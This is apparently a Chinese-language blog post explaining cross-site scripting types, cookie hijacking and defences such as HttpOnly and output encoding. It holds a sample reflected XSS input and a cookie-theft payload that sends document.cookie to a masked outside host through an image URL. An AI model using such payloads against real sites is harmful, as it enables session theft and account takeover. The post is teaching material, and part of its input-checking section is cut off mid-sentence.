XSS(跨站脚本攻击)

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。


XSS攻击分为几种:

1.反射型XSS

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

例如:http://localhost:8080/prjWebSec/xss/reflectedXSS.jsp?param=value';alert('x')。当param参数被用于页面的显示时,容易形成XSS攻击。

2.存储型XSS

存储型XSS会把用户的输入的数据存储在服务器端,这种XSS具有很强的稳定性。存储型XSS,当黑客把可执行的脚本存储到服务器,当别人去浏览此脚本的页面时,形成XSS攻击。

3.DOM Based XSS

通过修改页面的DOM节点形成XSS,这个是通过JavaScript改变DOM元素,达到XSS攻击。


用以完成各种具体功能的恶意脚本,叫做 XSS Payload,实际上就是javascript脚本。

XSS Payload的一个攻击,就是Cookie劫持。因为Cookie一般加密保存了当前用户的登陆凭证。如果攻击者获得Cookie,则可以直接跳过此登陆凭证进入用户的账户。

例如,黑客加载一个img,image的src设置为一个请求的地址,“http://www.***.com/log?”+escape(document.cookie)。当用户加载此图片时,就会自动的把cookie发送到黑客的地址。这样黑客就可以使用获取cookie去登陆了。

还有,黑客可以在img的src中,构造删除等GET, Post请求,去进行破坏。只要把Javascript注入到页面中,让用户去执行就能形成攻击。


XSS的防御

  • HttpOnly,在大多数浏览器已经支持HttpOnly这个属性,就是当cookie有这个标记时,只能通过Http请求能获取这个cookie,这样就可以防止黑客写的js去读取cookie。那还有什么方法能获取到cookie呢?当然用户自己可以查看浏览器看到,但自己肯定不会做攻击自己的事情。
  • XSS的本质是Html注入,是浏览器把用户输入的数据当成HTML代码的一部分来执行导致的。所以还可以进行输入检查,输出检查等手段去阻止XSS。

输入检查:对于用户输入的

当我们把js中的变量进行JavascriptEncode后,当执行此js时,html中仍旧会形成XSS攻击。

因为,当js运行时,浏览器已经对js解码,然后就形成了XSS攻击。

所以当js输出到html,需要进行一次HtmlEncode,当输出到脚本,需要进行JavascriptEncode。也就是说,从javascript输出到html页面,也是一次Xss输出过程,需要分语境使用不同的编码函数。

以上是我对XSS的个人见解,如果有什么理解错误的,请大家包涵指正。

你可能感兴趣的:(系统开发)